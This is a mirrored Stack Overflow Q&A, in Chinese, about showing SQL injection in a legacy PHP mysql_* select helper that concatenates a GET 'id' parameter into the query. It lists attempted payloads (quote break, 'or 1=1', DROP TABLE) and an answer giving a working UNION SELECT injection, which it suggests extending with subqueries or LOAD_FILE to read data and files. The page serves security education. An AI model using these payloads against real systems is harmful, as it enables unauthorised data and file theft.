gpt4 book ai didi

php - 如何对以下 PHP mysql_* 代码执行 SQL 注入(inject)?

转载 作者:可可西里 更新时间:2023-11-01 07:34:52 27 4
gpt4 key购买 nike

我有一个现有的应用程序,它曾经使用过时的 mysql_* 函数来执行数据库查询。从那以后,我将大多数数据库访问权限(以及所有具有用户输入的权限)更改为 PDO,因此我相信我相对安全地免受注入(inject)攻击。但是,我想知道如何对以前的代码执行注入(inject)攻击,以便在需要时证明它有多不安全。

我有一个格式的链接:

http://localhost/api/view.php?id=

然后将其未经处理地传递到 select 中功能如下:

$db->select('invitations','Replied, Response, Registered',null,"Id = '".$id."'");
$res = $db->getResult();

然后我做一个 var_dump()查看结果。

我试过类似的东西:

  • http://localhost/api/view.php?id=<id>'=> array(1) { [0]=> string(185) "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''<id>''' at line 1" }

  • http://localhost/api/view.php?id=<id>" or 1=1" => array(0) { }

但这些类型的查询似乎不会成功。理想情况下,我希望能够做一些严肃的事情。我希望得到类似 '); DROP TABLE users;-- 的东西,但我似乎无法使任何此类事情发生。

这是完整的 select功能:

public function select($table, $rows = '*', $join = null, $where = null, $order = null, $limit = null){
// Create query from the variables passed to the function
$q = 'SELECT '.$rows.' FROM '.$table;
if($join != null){
$q .= ' JOIN '.$join;
}
if($where != null){
if (is_array($where)) {
$filter = $where;
$where = " 0 = 0 ";
$qs = "";
for ($i=0;$i<count($filter);$i++){
switch($filter[$i]['data']['type']){
case 'string' : $qs .= " AND ".$filter[$i]['field']." LIKE '%".$filter[$i]['data']['value']."%'"; Break;
case 'list' :
if (strstr($filter[$i]['data']['value'],',')){
$fi = explode(',',$filter[$i]['data']['value']);
for ($q=0;$q<count($fi);$q++){
$fi[$q] = "'".$fi[$q]."'";
}
$filter[$i]['data']['value'] = implode(',',$fi);
$qs .= " AND ".$filter[$i]['field']." IN (".$filter[$i]['data']['value'].")";
}else{
$qs .= " AND ".$filter[$i]['field']." = '".$filter[$i]['data']['value']."'";
}
Break;
case 'boolean' : $qs .= " AND ".$filter[$i]['field']." = ".($filter[$i]['data']['value']); Break;
case 'numeric' :
switch ($filter[$i]['data']['comparison']) {
case 'eq' : $qs .= " AND ".$filter[$i]['field']." = ".$filter[$i]['data']['value']; Break;
case 'lt' : $qs .= " AND ".$filter[$i]['field']." < ".$filter[$i]['data']['value']; Break;
case 'gt' : $qs .= " AND ".$filter[$i]['field']." > ".$filter[$i]['data']['value']; Break;
}
Break;
case 'date' :
switch ($filter[$i]['data']['comparison']) {
case 'eq' : $qs .= " AND ".$filter[$i]['field']." = '".date('Y-m-d',strtotime($filter[$i]['data']['value']))."'"; Break;
case 'lt' : $qs .= " AND ".$filter[$i]['field']." < '".date('Y-m-d',strtotime($filter[$i]['data']['value']))."'"; Break;
case 'gt' : $qs .= " AND ".$filter[$i]['field']." > '".date('Y-m-d',strtotime($filter[$i]['data']['value']))."'"; Break;
}
Break;
}
}
$where .= $qs;
}
$q .= ' WHERE '.$where;
}
if($order != null){
$q .= ' ORDER BY '.$order;
}
if($limit != null){
$q .= ' LIMIT '.$limit;
}
// Check to see if the table exists
if($this->tableExists($table)){
// The table exists, run the query
$query = @mysql_query($q);
if($query){
// If the query returns >= 1 assign the number of rows to numResults
$this->numResults = mysql_num_rows($query);
// Loop through the query results by the number of rows returned
for($i = 0; $i < $this->numResults; $i++){
$r = mysql_fetch_array($query);
$key = array_keys($r);
for($x = 0; $x < count($key); $x++){
// Sanitizes keys so only alphavalues are allowed
if(!is_int($key[$x])){
if(mysql_num_rows($query) > 1){
$this->result[$i][$key[$x]] = $r[$key[$x]];
}else if(mysql_num_rows($query) < 1){
$this->result = null;
}else{
$this->result[$key[$x]] = $r[$key[$x]];
}
}
}
}
return true; // Query was successful
}else{
array_push($this->result,mysql_error());
return false; // No rows where returned
}
}else{
return false; // Table does not exist
}
}

我怎样才能执行 SQL 注入(inject)?


编辑:

该值是通过浏览器使用 $_GET['id'] 接收的.事实上,还有第二个值用于 SQL 查询,而是用于 switch 语句。因此,完整的请求如下所示:

http://localhost/api/view.php?rsvp=<status>&id=<id>

这可能会有所帮助。

编辑 2:

提到 id 可能很重要有问题的实际上是GUID s,不是数值。到目前为止,我使用正确的 ID 在评论中运行了所有查询。以下是一些结果:

  • http://localhost/api/view.php?id=62FD23D8-B6C0-03F1-D45A-C9AC33C91774%27;%20drop%20table%20users;-- => array(1) { [0]=> string(166) "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'drop table users;--'' at line 1" }

  • http://localhost/api/view.php?id=62FD23D8-B6C0-03F1-D45A-C9AC33C91774%27;select%20*%20from%20invitations;%27 => array(1) { [0]=> string(179) "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'select * from invitations;''' at line 1" }


以下几行是使用 $id 的全部代码:

// ...
if(isset($_GET['id'])) {
$id = $_GET['id'];
$db->select('invitations','Replied, Response, Registered',null,"Id = '".$id."'");
$res = $db->getResult();
// ...
}

最佳答案

仅凭某些特定输入导致 MySQL 语法错误这一事实就证明用户输入对 SQL 语法有一些意想不到的影响,这意味着 SQL 注入(inject)是可能的。

但此 SQL 注入(inject)的利用是另一章。还有 MySQL,或者更准确地说是 PHP’s MySQL extension , 不支持使用 mysql_query 执行多条语句默认情况下:

mysql_query() sends a unique query (multiple queries are not supported) […]

所以删除表的经典示例将不起作用,你是 limited to the capabilities of the current statementallowed syntax elements从注入(inject)点开始。

在您的具体示例中,SELECT 将您限制为

对于读取任意数据,UNION 将是最佳选择,因为结果似乎会反射(reflect)给用户。您只需确保生成的 SQL 有效,这意味着您的 UNION 必须具有三列(即,RepliedResponse、并从现有的 SELECT注册:

' UNION SELECT '1','2','3

结果语句如下所示:

SELECT Replied, Response, Registered FROM invitations WHERE Id = '' UNION SELECT '1','2','3'

您现在可以用自己的表达式(包括 LOAD_FILE)或子查询替换额外选择的值。

关于php - 如何对以下 PHP mysql_* 代码执行 SQL 注入(inject)?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/29764353/

27 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com